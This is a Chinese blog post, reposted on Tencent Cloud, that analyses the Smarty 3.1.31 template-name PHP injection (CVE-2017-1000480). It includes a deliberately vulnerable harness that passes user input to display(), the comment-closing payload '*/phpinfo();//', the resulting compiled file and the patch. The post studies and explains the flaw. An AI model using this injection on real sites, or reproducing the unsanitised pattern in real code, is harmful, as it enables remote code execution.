前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >smarty 3.1.31 RCE(CVE-2017-1000480)

smarty 3.1.31 RCE(CVE-2017-1000480)

作者头像
wywwzjj
发布2023-05-09 14:26:44
2600
发布2023-05-09 14:26:44
举报
文章被收录于专栏:wywwzjj 的技术博客

概述

smarty 模板的使用比较简单,主要有两个核心函数。一个是 assign(),把模板中要使用的数据进行欲赋值,一个是 display(),用来解析和展示最后的视图模板。

CVE 描述信息:

Smarty 3 before 3.1.32 is vulnerable to a PHP code injection when calling fetch() or display() functions on custom resources that does not sanitize template name.

信息的源头,更新日志:https://github.com/smarty-php/smarty/blob/master/change_log.txt

代码语言:javascript
复制
21.7.2017
  - security possible PHP code injection on custom resources at display() or fetch()
    calls if the resource does not sanitize the template name

影响版本

smarty <= 3.1.21

环境搭建

可以把项目 clone 下来,再切到 v3.1.31。我这里是用 composer 创的。

代码语言:javascript
复制
git checkout tags/v3.1.31 -b v3.1.21-debug

Insomni’hack teaser 2018 拿这个点出了个题 Smart-Y,这有 wp https://ctftime.org/writeup/8552。

代码语言:javascript
复制
<?php
// load Smarty library
require 'vendor/autoload.php';

class news extends Smarty_Resource_Custom {
    protected function fetch($name, &$source, &$mtime) {
        $template = "CVE-2017-1000480 smarty PHP code injection";
        $source = $template;
        $mtime = time();
    }
}

// Smarty configuration
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = NULL;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->modifiers = array();
$smarty->enableSecurity($my_security_policy);
$smarty->setCacheDir('cache');
$smarty->setCompileDir('compile');

$smarty->registerResource('news', new news);
$smarty->display('news:' . $_GET['j']);

复现

image.png
image.png

注释符还可以用 */phpinfo();/*,但 Windows 下文件名不能含有 \/:*?"<>|,所以 // 更通用。

image.png
image.png

分析

先看下官方给的补丁。

https://github.com/smarty-php/smarty/commit/614ad1f8b9b00086efc123e49b7bb8efbfa81b61

image.png
image.png

PoC 生成的临时文件如下。如果没有 PoC,那就随便输一点内容测试一下。

代码语言:javascript
复制
<?php
/* Smarty version 3.1.31, created on 2020-02-01 14:42:38
  from "news:*/phpinfo();//" */

/* @var Smarty_Internal_Template $_smarty_tpl */
  'has_nocache_code' => false,
  'file_dependency' =>
  array (
    '1f7fa551e77a29c48c7ac4143a2b811ca7e38ce5' =>
    array (
      0 => 'news:*/phpinfo();//',
      1 => 1580539358,
      2 => 'news',
    ),
  ),
?>
CVE-2017-1000480 smarty PHP code injection<?php }
}

结合上面的内容来看,模板显然是从这里产生的。

代码语言:javascript
复制
$output = "<?php\n";
$output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") .
    "\n  from \"" . $_template->source->filepath . "\" */\n\n";
$output .= "/* @var Smarty_Internal_Template \$_smarty_tpl */\n";

$_template->source->filepath 这个变量的内容一旦把前面的注释符闭合,就能插入 PHP 代码。

所以官方打的补丁也是针对这些输出点进行过滤。

总结

文档地址:https://www.smarty.net/docs/zh_CN/

暂时没想到利用场景,后期有缘遇到再继续深入吧。

参考

https://chybeta.github.io/2018/01/23/CVE-2017-1000480-Smarty-3-1-32-php%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019/12/15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 概述
  • 环境搭建
  • 复现
  • 分析
  • 总结
  • 参考
相关产品与服务
腾讯云服务器利旧
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档